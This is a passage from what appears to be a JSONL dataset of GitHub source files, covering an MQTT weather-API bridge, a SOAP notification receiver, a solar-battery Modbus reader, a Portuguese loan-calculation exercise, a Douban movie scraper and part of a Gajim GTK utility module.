print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    else:\r\n        pushMsg(topic+\"/resp\",\"The selected request type is not valid for an Air pollution request\")\r\n        return\r\n\r\n    MADE_NORMAL_CALLS += 1\r\n\r\ndef makeGeocodingCall(msg, topic):\r\n\r\n    global MADE_NORMAL_CALLS\r\n\r\n    params = dict(API_PARAM)\r\n    reqtype = msg[\"type\"]\r\n    limit = 1\r\n    try:\r\n        limit = msg[\"limit\"]\r\n    except:\r\n        print(\"Can't parse the limit parameter, setting a 1 default\")\r\n\r\n    if (reqtype == \"reverse\"):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for a Reverse Geocoding Request\")\r\n            return\r\n        \r\n        params[\"limit\"] = limit\r\n        respuesta = requests.get(GEOCODING_ENDPOINT+\"reverse\", params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == \"direct_name\"):\r\n        try:\r\n            cityname_param = msg[\"city_name\"]\r\n            try:\r\n                statecode = msg[\"state_code\"]\r\n                cityname_param = cityname_param + \",\" + statecode\r\n                try:\r\n                    countrycode = msg[\"country_code\"]\r\n                    cityname_param = cityname_param + \",\" + countrycode\r\n                    print(\"City name AND state_code AND county_code\")\r\n                except:\r\n                    print(\"City name AND state_code\")\r\n            except:\r\n                print(\"Only city name\")\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"At least 'city_name' must be present for a Direct Geocoding Name Request\")\r\n            return\r\n\r\n        params[\"q\"]=cityname_param\r\n        params[\"limit\"] = limit\r\n        respuesta = requests.get(GEOCODING_ENDPOINT+\"/direct\", params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == \"direct_zip\"):\r\n        zipparam = None\r\n        try:\r\n            zipparam = msg[\"zip\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'zip' code must be present for a zip code request\")\r\n            return\r\n\r\n        try:\r\n            countrycode = msg[\"country_code\"]\r\n            zipparam = zipparam + \",\" + countrycode\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'countrycode' code must be present for a zip code request\")\r\n            \r\n        params['zip']=zipparam\r\n        respuesta = requests.get(GEOCODING_ENDPOINT+\"/zip\", params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    else:\r\n        pushMsg(topic+\"/resp\",\"The selected request type is not valid for an Air pollution request\")\r\n        return\r\n\r\n    MADE_NORMAL_CALLS += 1\r\n\r\ndef makeOneTimeCall(msg, topic):\r\n\r\n    global LAST_ONETIME_SENT\r\n\r\n    params = dict(API_PARAM)\r\n    reqtype = msg[\"type\"]\r\n\r\n    try:\r\n        resunits = msg[\"units\"]\r\n\r\n        if (resunits != \"standard\" and resunits != \"metric\" and resunits != \"imperial\"):\r\n            pushMsg(topic+\"/resp\", \"units not one of standard, metric or imperial\")\r\n            return\r\n    except:\r\n        resunits = \"standard\"\r\n\r\n    params[\"units\"]=resunits\r\n\r\n    try:\r\n        reslang = msg[\"lang\"]\r\n    except:\r\n        reslang = \"en\"\r\n\r\n    params[\"lang\"]=reslang\r\n\r\n    if(reqtype == 'non_historical'):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for a One Call request\")\r\n            return\r\n\r\n        to_exclude = None\r\n        try:\r\n            string_list = msg['exclude']\r\n            excluded_list = list(dict.fromkeys(string_list.split(',')))\r\n            to_exclude = ','.join(excluded_list)\r\n            params['exclude']=to_exclude\r\n        except:\r\n            print(\"No hay excluidos, o no se han podido interpretar bien\")\r\n\r\n        respuesta = requests.get(ONECALL_ENDPOINT, params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == 'historical'):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for a One Call request\")\r\n            return\r\n\r\n        try:\r\n            params[\"dt\"] = msg[\"dt\"]\r\n            currSecs = int(time.time())\r\n\r\n            if ((currSecs - int(params[\"dt\"])) > 432000):\r\n                pushMsg(topic+\"/resp\", \"'dt' must be from the last 5 days\")\r\n                return\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'dt' must be present for a One Call request \")\r\n            return\r\n\r\n        to_exclude = None\r\n        try:\r\n            string_list = msg['exclude']\r\n            excluded_list = list(dict.fromkeys(string_list.split(',')))\r\n            to_exclude = ','.join(excluded_list)\r\n            params['exclude']=to_exclude\r\n        except:\r\n            print(\"No hay excluidos, o no se han podido interpretar bien\")\r\n\r\n        respuesta = requests.get(ONECALL_ENDPOINT+\"/timemachine\", params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n\r\n    else:\r\n        pushMsg(topic+\"/resp\",\"The selected request type is not valid for a One Call Request\")\r\n        return\r\n    \r\n    LAST_ONETIME_SENT = int(time.time())\r\n\r\ndef unrecognizedCall(topic):\r\n    pushMsg(topic+\"/resp\", HELP_TEXT)\r\n\r\n\r\ndef parse_req(msg):\r\n    try:\r\n        themsg = json.loads(msg.payload.decode(\"utf-8\"))\r\n    except:\r\n        pushMsg(msg.topic+\"/resp\", \"Could not parse JSON request, check the payload, then, try again!\")\r\n\r\n    currTime = int(time.time())\r\n    CallType = themsg[\"CallType\"]\r\n\r\n    global LAST_MIN_NORMAL_CHECK\r\n    global LAST_ONETIME_SENT\r\n    global MADE_NORMAL_CALLS\r\n\r\n    if(CallType == \"CurrentWeather\"):        \r\n        if(int(currTime / 60) > LAST_MIN_NORMAL_CHECK):\r\n            MADE_NORMAL_CALLS = 0\r\n            LAST_MIN_NORMAL_CHECK = currTime / 60\r\n\r\n        if(MADE_NORMAL_CALLS < 23):\r\n            makeCurrentWeatherCall(themsg, msg.topic)      # 23 CALLS / MIN\r\n        else:\r\n            pushMsg(msg.topic + \"/resp\",\"API CALLS LIMIT REACHED FOR THIS MINUTE. TRY AGAIN LATER!\")\r\n    elif (CallType == \"OneTime\"):\r\n\r\n        if((currTime - LAST_ONETIME_SENT) >= 90):\r\n            makeOneTimeCall(themsg, msg.topic)   # OneTime APROX 1 EVERY 1.5 MIN\r\n        else:\r\n            pushMsg(msg.topic + \"/resp\",\"ONETIME API CALL LIMIT REACHED THIS 90 s PERIOD. TRY AGAIN LATER!\")\r\n    elif (CallType == \"AirPollution\"):\r\n        if(int(currTime / 60) > LAST_MIN_NORMAL_CHECK):\r\n            MADE_NORMAL_CALLS = 0\r\n            LAST_MIN_NORMAL_CHECK = currTime / 60\r\n\r\n        if(MADE_NORMAL_CALLS < 23):\r\n            makeAirPollutionCall(themsg, msg.topic)        # 23 CALLS / MIN\r\n        else:\r\n            pushMsg(msg.topic + \"/resp\",\"API CALLS LIMIT REACHED FOR THIS MINUTE. TRY AGAIN LATER!\")\r\n    elif (CallType == \"Geocoding\"):\r\n        if(int(currTime / 60) > LAST_MIN_NORMAL_CHECK):\r\n            MADE_NORMAL_CALLS = 0\r\n            LAST_MIN_NORMAL_CHECK = currTime / 60\r\n\r\n        if(MADE_NORMAL_CALLS < 23):\r\n            makeGeocodingCall(themsg, msg.topic)           # 23 CALLS / MIN\r\n        else:\r\n            pushMsg(msg.topic + \"/resp\",\"API CALLS LIMIT REACHED FOR THIS MINUTE. TRY AGAIN LATER!\")\r\n    else:\r\n        unrecognizedCall(msg.topic)\r\n\r\ndef public_help_message():\r\n    pushMsg(\"help\", HELP_TEXT)\r\n\r\n\r\ndef on_message(client, userdata, msg):\r\n    if (msg.topic == \"help\"):\r\n        public_help_message()\r\n    else:\r\n        parse_req(msg)\r\n    \r\nclient.on_connect = on_connect\r\nclient.on_message = on_message\r\nclient.username_pw_set(\"WeatherAPIID\", password=None)\r\nclient.connect(MQTT_SERVER, port=MQTT_PORT, keepalive=60)\r\nclient.loop_forever()","repo_name":"miavgu/MQTT-REST-OWM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21916587106","text":"\"\"\"\nThis module is responsible for creating the json file from a SOAP request\nfrom the webservice. It also creates the initial database record corresponding\nto the received requestId. \n\"\"\"\nimport logging\nimport json\nimport socket\nfrom socket import herror, gaierror\nimport os\nfrom time import gmtime, strftime\nfrom datetime import datetime\nfrom settings.settings_manager import SettingsManager\nfrom distutils.util import strtobool\nfrom utils.setup_tree import HarnessTree\nfrom utils.database import Database, Diffusion\nfrom utils.const import REQ_STATUS, PRIORITIES\nfrom utils.tools import Tools\nfrom utils.log_setup import setup_logging\nfrom utils.setup_tree import HarnessTree\n\n\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Notification():\n    \"\"\"\n    Notification objects are only created by a SOAP request on the\n    disseminate service. The object store all the request informations\n    and initialize the first datebase record corresponding to the received requestId.\n    \"\"\"\n\n    def __init__(self, req_id, uri, diss_info, client_ip):\n\n        self.req_id = req_id\n        self.uri = uri\n        self.diss_info = diss_info\n        self.date_reception = gmtime()\n        self.request_file = \"\"\n        self._diff_externalid = None\n        self.hostname = self.get_hostname(client_ip)\n        #load settings, if it has not been done\n        if not SettingsManager.is_loaded():\n            SettingsManager.load_settings()\n            # initialize LOGGER\n            setup_logging()\n            # setup repertory structure\n            HarnessTree.setup_tree()\n\n        # Setting up database if necessary\n        if Database.get_database() is None:\n            from webservice.server.application import APP\n            Database.initialize_database(APP)\n            LOGGER.debug(\"Database setup\")\n\n\n        LOGGER.debug(\"Created a Notification object with id %s\", req_id)\n\n    @staticmethod\n    def compute_priority(priority, sla):\n\n        # priority is scaled from 1 (highest) to 4 (lowest)\n        # sla is 0 (BRONZE), 1 (SILVER), 2 (GOLD)\n\n        priority_activated = SettingsManager.get(\"sla\")\n\n        if type(priority_activated) == str:\n            priority_activated = strtobool(priority_activated)\n\n        if priority_activated == False:\n            result = SettingsManager.get(\"defaultPriority\") or PRIORITIES.default\n        elif priority ==1:\n            result = PRIORITIES.maximum\n        elif priority >=2:\n            default_priority = SettingsManager.get(\"defaultPriority\") or PRIORITIES.default\n            result = default_priority + priority - 2*sla\n            result = max(PRIORITIES.maximum, result)\n            result = min(PRIORITIES.minimum, result)\n\n        return result\n\n\n    def create_request_file(self):\n\n        #compute priority\n        priority = self.compute_priority(self.diss_info.priority,\n                                         self.diss_info.SLA)\n\n        out_dir = HarnessTree.get(\"temp_dissRequest_A\")\n\n        rec_dict = dict(hostname=self.hostname)\n        rec_dict[\"priority\"] = priority\n        rec_dict[\"date_reception\"] = strftime(\n            \"%Y%m%d%H%M%S\", self.date_reception)\n        rec_dict[\"requestid\"] = self.req_id\n\n        request_file = \"{priority}_{date_reception}_{requestid}_{hostname}.json\".format(\n            **rec_dict)\n\n        # full path to request file\n        self.request_file = request_file = os.path.join(out_dir, request_file)\n\n        # initialize the dictionary that will be dumped into the json file\n        request_dump = dict(date=rec_dict[\"date_reception\"],\n                            hostname=self.hostname,\n                            diffpriority=priority,\n                            uri=self.uri,\n                            req_id = self.req_id\n                            )\n\n        # update the dictionary with the rest of the request information\n        request_diff = self.compile_request()\n        request_dump.update(request_diff)\n\n        LOGGER.debug(\"Attempting to write {file}\".format(file=request_file))\n        with open(request_file, \"w\") as file_:\n            json.dump(request_dump, file_, indent=4)\n        LOGGER.info(\"Successfully wrote instruction file %s \", request_file)\n\n    def compile_request(self):\n\n        def dump_attributes(obj):\n            \"\"\"\n            dump all the attributes of the FTPDiffusion and MailDiffusion\n            objects that are of interest for the dissemination into a dictionary,\n            plus a DiffusionType key to keep track of the type of the diffusion.\n            \"\"\"\n            from webservice.server.soapInterface import FTPDiffusion, MailDiffusion\n            attr_dump = dict()\n            if isinstance(obj, FTPDiffusion):\n                attr_dump[\"DiffusionType\"] = \"FTP\"\n            elif isinstance(obj, MailDiffusion):\n                attr_dump[\"DiffusionType\"] = \"EMAIL\"\n            for key in obj.__dict__.keys():\n                if key[0] != \"_\" and key != \"Attributes\":\n                    value = getattr(obj, key)\n                    attr_dump[key] = value\n            return attr_dump\n\n        diff = self.diss_info.diffusion\n        alt_diff = self.diss_info.alternativeDiffusion\n        request = dict()\n        request[\"diffusion\"] = dump_attributes(diff)\n        if alt_diff is not None:\n            request[\"alternativeDiffusion\"] = dump_attributes(alt_diff)\n\n        return request\n\n    @staticmethod\n    def _to_datetime(struct_time_date):\n\n        return  datetime(struct_time_date.tm_year,\n                         struct_time_date.tm_mon,\n                         struct_time_date.tm_mday,\n                         struct_time_date.tm_hour,\n                         struct_time_date.tm_min,\n                         struct_time_date.tm_sec)\n\n    def process(self):\n\n        # create the unicity key for the database\n        self._diff_externalid = diff_id = Tools.generate_random_string()\n\n        # fetch database\n        database = Database.get_database()\n\n        try:\n            # create JSON request file\n            self.create_request_file()\n            # create the first database record\n            diffusion = Diffusion(diff_externalid=diff_id,\n                                  fullrequestId=self.req_id+self.hostname,\n                                  requestStatus=REQ_STATUS.ongoing,\n                                  Date=self._to_datetime(self.date_reception),\n                                  rxnotif=True,\n                                  message=\"Created record in SQL database\",)\n            with Database.get_app().app_context():\n                database.session.add(diffusion)\n                database.session.commit()\n            LOGGER.debug(\"Committed %s dissemination status \"\n                         \"into database.\", REQ_STATUS.ongoing)\n            status = REQ_STATUS.ongoing\n        except Exception as exc:\n            LOGGER.exception(\"Error during notification processing. \"\n                             \"Dissemination failed.\")\n            status = self.commit_failure(database, diff_id)\n        return status\n\n    def commit_failure(self, database, diff_id):\n\n        diffusion = Diffusion(diff_externalid=diff_id,\n                              fullrequestId=self.req_id,\n                              requestStatus=REQ_STATUS.failed,\n                              Date=self._to_datetime(self.date_reception),\n                              rxnotif=True)\n\n        with Database.get_app().app_context():\n            database.session.add(diffusion)\n            database.session.commit()\n\n        LOGGER.info(\"Committed %s dissemination status into database.\",\n                    REQ_STATUS.failed)\n\n        if os.path.isfile(self.request_file):\n            Tools.remove_file(self.request_file, \"JSON request\", LOGGER)\n\n        return REQ_STATUS.failed\n\n    @staticmethod\n    def get_hostname(client_ip):\n        # get hostname\n        try:\n            hostname = socket.gethostbyaddr(client_ip)[0]\n            hostname = hostname.replace(\".\",\"-\")\n            LOGGER.debug(\"Got hostname {host} for {ip}\".format(\n                host=hostname, ip=client_ip))\n        except (herror, gaierror):\n            LOGGER.exception(\"Couldn't get hostname from ip %s, \"\n                             \"using ip as hostname instead.\", client_ip)\n            hostname = client_ip\n            hostname = hostname.replace(\".\",\"-\")\n\n        return hostname\n\n\n","repo_name":"IdeeFX/projet_perso","sub_path":"notification_receiver/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":8362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7155454288","text":"# -*- coding: utf-8 -*-\n#  This program is free software; you can redistribute it and/or modify\n#  it under the terms of the GNU General Public License as published by\n#  the Free Software Foundation; either version 2 of the License, or\n#  (at your option) any later version.\n#\n#  This program is distributed in the hope that it will be useful,\n#  but WITHOUT ANY WARRANTY; without even the implied warranty of\n#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#  GNU General Public License for more details.\n#\n#  You should have received a copy of the GNU General Public License\n#  along with this program; if not, write to the Free Software\n#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n#  MA 02110-1301, USA.\n#\n\"\"\"\nClass ChargeModbus with methods to collect and prepare data\nfrom E3DC modbus interface\n\n\"\"\"\nimport logging\nfrom datetime import datetime\nimport pymodbus.exceptions as Modbus_exceptions\nfrom pymodbus.client.sync import ModbusTcpClient\nfrom .definitions.e3dc_register import conf\nfrom .definitions.pvdataclasses import PVStatus, ModbusDefaults\n\n__version__ = '1.1.51'\nprint(f'{__name__:40s} v{__version__}')\n\nlogger = logging.getLogger(__name__)\n\n\nclass ChargeModbus(ModbusDefaults):\n    '''\n    Read E3DC system status data from modbus interface\n    '''\n    def __init__(self):\n        assert self._tcp_ip\n        super().__post_init__()\n        self.client = ModbusTcpClient(self._tcp_ip)\n        connection = self.client.connect()\n        self.conf = conf\n        self._functions = {'String': self._to_str, 'Int32': self._to_int32,\n                           'Int8x2': self._to_int8x2, 'Hex': self._to_hex,\n                           'EMS': self._to_EMS}\n        if connection:\n            logger.debug(f'modbus connection with '\n                         f'{f\"{self.client.host}:{self.client.port}\"!r}'\n                         ' established')\n            logger.warning('ChargeModbus initialised and active')\n        else:\n            logger.critical(f'No modbus connection to {self._tcp_ip!r} '\n                            'could be established - check local connection')\n\n    @staticmethod\n    def _to_str(regs: list, _key: int) -> (str, str):\n        '''list of hex codes to str'''\n        reg_str = ''.join([f'{reg:04x}' for reg in regs if reg > 0])\n        return_string = bytes.fromhex(reg_str).decode()\n        return return_string, return_string\n\n    def _to_int32(self, regs: list, _key: int) -> (int, str):\n        '''list of hex codes to uint32 or int'''\n        integer = int(hex(regs[0]), 16)\n        if len(regs) > 1:\n            integer -= int(hex(regs[1]), 16)\n        integer *= self.conf[_key].get('factor', 1)\n        unit = self.conf[_key].get('unit', '')\n        sname = self.conf[_key].get('sname', self.conf[_key]['name'])\n        integers = f'{sname}: {integer:,.0f}{unit}'.replace(\",\", \"'\")\n        return integer, integers\n\n    def _to_int8x2(self, regs: list, _key: int) -> (int, str):\n        '''list of hex codes to int and %'''\n        regh = f'{regs[0]:04x}'\n        int1, int2 = int(regh[:2], 16), int(regh[-2:], 16)\n        unit = self.conf[_key].get('unit', '')\n        sname = self.conf[_key].get('sname', self.conf[_key]['name'])\n        ints = f'{sname}: {int1:.0f}{unit} {int2:.0f}{unit}'\n        return (int1, int2), ints\n\n    def _to_hex(self, regs: list, _key: int) -> (int, str):\n        '''list of hex codes to int and Hex-String'''\n        integer = int(hex(regs[0]), 16)\n        unit = self.conf[_key].get('unit', '')\n        sname = self.conf[_key].get('sname', self.conf[_key]['name'])\n        integers = f'{sname}: {integer:04X}{unit}'.replace(\",\", \"'\")\n        return integer, integers\n\n    def _to_EMS(self, regs: list, _key: int) -> (int, str):\n        '''list of int to int and text'''\n        reg = min(4, regs[0])\n        texts = ['Notstrom nicht unterstützt', 'Notstrom aktiv',\n                 'Notstrom nicht aktiv', 'Notstrom nicht verfügbar',\n                 'S10 E-Motorschalter in falscher Position']\n        status = texts[reg]\n        sname = self.conf[_key].get('sname', self.conf[_key]['name'])\n        statuss = f'{sname}: {status}'\n        return reg, statuss\n\n    def run_collect(self) -> PVStatus:\n        '''Return collected data'''\n        try:\n            data = self.data2pvstate(self.collect())\n#            collected_data = self.collect()\n            logger.warning('run_collect collected data: %s', data)\n            return data\n#            return self.data2pvstate(collected_data)\n        except Modbus_exceptions.ConnectionException:\n            ftext = f' No connection to E3DC at {datetime.now()} '\n            logger.error(ftext)\n            return PVStatus()\n\n    def data2pvstate(self, orgdata):\n        '''Return pvstate dataclass'''\n        ddata = self.data2dict(orgdata)\n        tdata = {k.lower(): v for k, v in ddata.items()}\n        fields = PVStatus.__annotations__.keys()\n        return PVStatus(**{k: v for k, v in tdata.items() if k in fields},\n                        ok=True)\n\n    def collect(self):\n        '''Collect raw data and return dict with data'''\n        collect_data = dict()\n        for key in self.keys:\n            address = key - 1\n            count = self.conf[key]['length']\n            request = self.client.read_holding_registers(address, count=count)\n            regs = [request.getRegister(i) for i in range(count)]\n            collect_data[key] = regs\n        timestamp = int(datetime.now().timestamp())\n        timestamp = timestamp - (timestamp % 60)  # round to minutes\n        collected = {datetime.fromtimestamp(timestamp): collect_data}\n        self.client.close()\n        return collected\n\n    def data2dict(self, time_data):\n        '''\n        Add timestamp, data labels and formatted string data\n        '''\n        timestamp = list(time_data.keys())[0]\n        data = time_data[timestamp]\n        ndata = dict(dtime=timestamp)\n        for key in data.keys():\n            regs = data[key]\n            key_type = self.conf[key]['type']\n            if key_type in self._functions.keys():\n                resp, respt = self._functions[key_type](regs, key)\n                sname = self.conf[key].get('cname', self.conf[key]['name'])\n                dkey = sname.replace(' ', '_')\n                ndata[dkey] = resp\n                ndata[dkey + '_t'] = respt\n            else:\n                print(self.conf[key]['name'].center(80, '-'))\n                for reg in regs:\n                    reg_str = f'{reg:04x}'\n                    reg_chr = (chr(int(reg_str[:2], 16)) +\n                               chr(int(reg_str[2:], 16)))\n                    ftext = [f'{key}| {reg:7.0f} {hex(reg):>10s}',\n                             f' {bin(reg):>20s} {reg_str} {reg_chr}']\n                    print(''.join(ftext))\n        return ndata\n\n\nif __name__ == '__main__':\n    ch = ChargeModbus()\n    daten = ch.run_collect()\n    print(daten)\n    print(ch.data2dict(ch.collect()))\n    print(ch.data2dict(ch.collect()))\n","repo_name":"fhag/solar","sub_path":"solar/chargemodbus.py","file_name":"chargemodbus.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"}
+{"seq_id":"10265263763","text":"\"\"\"\nQuestão 11. Escreva um programa na linguagem Python para aprovar o empréstimo\nbancário para compra de um imóvel. O programa deve solicitar ao usuário o valor do\nimóvel a comprar, o salário e a quantidade de parcelas a pagar. O valor da prestação\nmensal não pode ser superior a 40% do salário. Calcule o valor da prestação como sendo\no valor do imóvel a comprar dividido pelo número de parcelas a pagar.\n\"\"\"\n\nimovel = float(input('Digite o valor do imóvel: '))\nsalario = float(input('Agora escreva o seu salário: '))\nparcelas = int(input('Escreva em quantas parcelas o senhor pretende pagar: '))\n\nvalor_por_parcela = imovel/parcelas\nprint(\n    f\"Valor por parcela = {valor_por_parcela:.2f} -> {(valor_por_parcela/salario)*100:.2f}%\")\n\npode_pagar = True if (valor_por_parcela/salario)*100 <= 40 else False\n\nif not pode_pagar:\n    print(\"Não podemos aprovar o seu empréstimo.\")\nelse:\n    print(\"Emprestimo aprovado!\")\n","repo_name":"Merigueti/IFES_Exercises","sub_path":"POO/python/Lista 01 -  Introdução à Linguagem Python/l1q11.py","file_name":"l1q11.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36428496969","text":"import scrapy\nfrom scrapy.http.response import Response\n\nfrom douban.items import DoubanItem\n\n\nclass MovieSpider(scrapy.Spider):\n    name = \"movie\"\n    allowed_domains = [\"douban.com\"]\n    start_urls = [\"https://movie.douban.com/top250\"]\n\n    def parse(self, response: Response, **kwargs):\n        div_list = response.xpath('//div[@class=\"item\"]')\n        item = DoubanItem()\n        for div in div_list:\n            item['img'] = div.xpath('./div[@class=\"pic\"]/a/img/@src').extract_first()\n            item['name'] = div.xpath('./div[@class=\"info\"]/div[@class=\"hd\"]/a/span/text()').extract_first()\n            item['score'] = div.xpath(\n                './div[@class=\"info\"]/div[@class=\"bd\"]//span[@class=\"rating_num\"]/text()').extract_first()\n            yield item\n\n        url = response.xpath('//*[@id=\"content\"]/div/div[1]/div[2]/span[3]/a/@href').extract_first()\n        if url is not None:\n            yield scrapy.Request(response.urljoin(url), callback=self.parse)\n","repo_name":"fbozhang/python","sub_path":"spider/scrapy/douban/douban/spiders/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"5847102766","text":"from __future__ import annotations\n\nfrom typing import Any\n\nimport logging\nimport math\nimport sys\nimport textwrap\nfrom functools import lru_cache\nfrom functools import wraps\nfrom importlib import import_module\nfrom io import BytesIO\nfrom pathlib import Path\nfrom re import Match\n\nimport cairo\nfrom gi.repository import Gdk\nfrom gi.repository import GdkPixbuf\nfrom gi.repository import Gio\nfrom gi.repository import GLib\nfrom gi.repository import Gtk\nfrom gi.repository import GtkSource\nfrom gi.repository import Pango\nfrom nbxmpp import JID\nfrom nbxmpp import util as nbxmpp_util\nfrom nbxmpp.structs import LocationData\nfrom nbxmpp.structs import TuneData\nfrom PIL import Image\nfrom PIL import UnidentifiedImageError\n\nfrom gajim.common import app\nfrom gajim.common import configpaths\nfrom gajim.common import types\nfrom gajim.common.const import Display\nfrom gajim.common.const import LOCATION_DATA\nfrom gajim.common.const import StyleAttr\nfrom gajim.common.ged import EventHelper as CommonEventHelper\nfrom gajim.common.helpers import URL_REGEX\nfrom gajim.common.i18n import _\nfrom gajim.common.modules.contacts import GroupchatParticipant\nfrom gajim.common.structs import VariantMixin\nfrom gajim.common.styling import PlainBlock\n\nfrom gajim.gtk.const import WINDOW_MODULES\n\nlog = logging.getLogger('gajim.gtk.util')\n\n\nMenuValueT = None | str | GLib.Variant | VariantMixin\nMenuItemListT = list[tuple[str, str, MenuValueT]]\n\n\ndef set_urgency_hint(window: Gtk.Window, setting: bool) -> None:\n    if app.settings.get('use_urgency_hint'):\n        window.set_urgency_hint(setting)\n\n\ndef icon_exists(name: str) -> bool:\n    return Gtk.IconTheme.get_default().has_icon(name)\n\n\ndef load_icon_info(icon_name: str,\n                   size: int,\n                   scale: int | None,\n                   flags: Gtk.IconLookupFlags) -> Gtk.IconInfo | None:\n\n    if scale is None:\n        scale = app.window.get_scale_factor()\n\n    if not scale:\n        log.warning('Could not determine scale factor')\n        scale = 1\n\n    icon_theme = Gtk.IconTheme.get_default()\n\n    try:\n        iconinfo = icon_theme.lookup_icon_for_scale(\n            icon_name, size, scale, flags)\n        if iconinfo is None:\n            log.info('No icon found for %s', icon_name)\n            return None\n        return iconinfo\n    except GLib.Error as error:\n        log.error('Unable to load icon %s: %s', icon_name, str(error))\n    return None\n\n\ndef load_icon_surface(\n        icon_name: str,\n        size: int = 16,\n        scale: int | None = None,\n        flags: Gtk.IconLookupFlags = Gtk.IconLookupFlags.FORCE_SIZE\n) -> cairo.ImageSurface | None:\n\n    icon_info = load_icon_info(icon_name, size, scale, flags)\n    if icon_info is None:\n        return None\n    return icon_info.load_surface(None)\n\n\ndef load_icon_pixbuf(icon_name: str,\n                     size: int = 16,\n                     scale: int | None = None,\n                     flags: Gtk.IconLookupFlags = Gtk.IconLookupFlags.FORCE_SIZE\n                     ) -> GdkPixbuf.Pixbuf | None:\n\n    icon_info = load_icon_info(icon_name, size, scale, flags)\n    if icon_info is None:\n        return None\n    return icon_info.load_icon()\n\n\ndef get_app_icon_list(scale_widget: Gtk.Widget) -> list[GdkPixbuf.Pixbuf]:\n    scale = scale_widget.get_scale_factor()\n    pixbufs: list[GdkPixbuf.Pixbuf] = []\n    for size in (16, 32, 48, 64, 128):\n        pixbuf = load_icon_pixbuf('org.gajim.Gajim', size=size, scale=scale)\n        if pixbuf is not None:\n            pixbufs.append(pixbuf)\n    return pixbufs\n\n\ndef get_icon_name(name: str,\n                  transport: str | None = None) -> str:\n    if transport is not None:\n        return f'{transport}-{name}'\n\n    return f'dcraven-{name}'\n\n\ndef load_user_iconsets() -> None:\n    iconsets_path = configpaths.get('MY_ICONSETS')\n    if not iconsets_path.exists():\n        return\n\n    icon_theme = Gtk.IconTheme.get_default()\n\n    for path in iconsets_path.iterdir():\n        if not path.is_dir():\n            continue\n        log.info('Found iconset: %s', path.stem)\n        icon_theme.append_search_path(str(path))\n\n\ndef get_total_screen_geometry() -> tuple[int, int]:\n    total_width = 0\n    total_height = 0\n    display = Gdk.Display.get_default()\n    assert display is not None\n    monitors = display.get_n_monitors()\n    for num in range(monitors):\n        monitor = display.get_monitor(num)\n        assert monitor is not None\n        geometry = monitor.get_geometry()\n        total_width += geometry.width\n        total_height = max(total_height, geometry.height)\n    log.debug('Get screen geometry: %s %s', total_width, total_height)\n    return total_width, total_height\n\n\ndef resize_window(window: Gtk.Window, width: int, height: int) -> None:\n    '''\n    Resize window, but also checks if huge window or negative values\n    '''\n    screen_w, screen_h = get_total_screen_geometry()\n    if not width or not height:\n        return\n\n    width = min(width, screen_w)\n    height = min(height, screen_h)\n    window.resize(abs(width), abs(height))\n\n\ndef move_window(window: Gtk.Window, pos_x: int, pos_y: int) -> None:\n    '''\n    Move the window, but also check if out of screen\n    '''\n    screen_w, screen_h = get_total_screen_geometry()\n    pos_x = max(pos_x, 0)\n    pos_y = max(pos_y, 0)\n\n    width, height = window.get_size()\n    if pos_x + width > screen_w:\n        pos_x = screen_w - width\n    if pos_y + height > screen_h:\n        pos_y = screen_h - height\n    window.move(pos_x, pos_y)\n\n\ndef save_main_window_position() -> None:\n    if not app.settings.get('save_main_window_position'):\n        return\n    if app.is_display(Display.WAYLAND):\n        return\n    x_pos, y_pos = app.window.get_position()\n    log.debug('Saving main window position: %s %s', x_pos, y_pos)\n    app.settings.set('mainwin_x_position', x_pos)\n    app.settings.set('mainwin_y_position', y_pos)\n\n\ndef restore_main_window_position() -> None:\n    if not app.settings.get('save_main_window_position'):\n        return\n    if app.is_display(Display.WAYLAND):\n        return\n    move_window(app.window,\n                app.settings.get('mainwin_x_position'),\n                app.settings.get('mainwin_y_position'))\n\n\ndef get_source_view_style_scheme() -> GtkSource.StyleScheme | None:\n    style_scheme_manager = GtkSource.StyleSchemeManager.get_default()\n    if app.css_config.prefer_dark:\n        return style_scheme_manager.get_scheme('solarized-dark')\n    return style_scheme_manager.get_scheme('solarized-light')\n\n\ndef get_completion_liststore(entry: Gtk.Entry) -> Gtk.ListStore:\n    '''\n    Create a completion model for entry widget completion list consists of\n    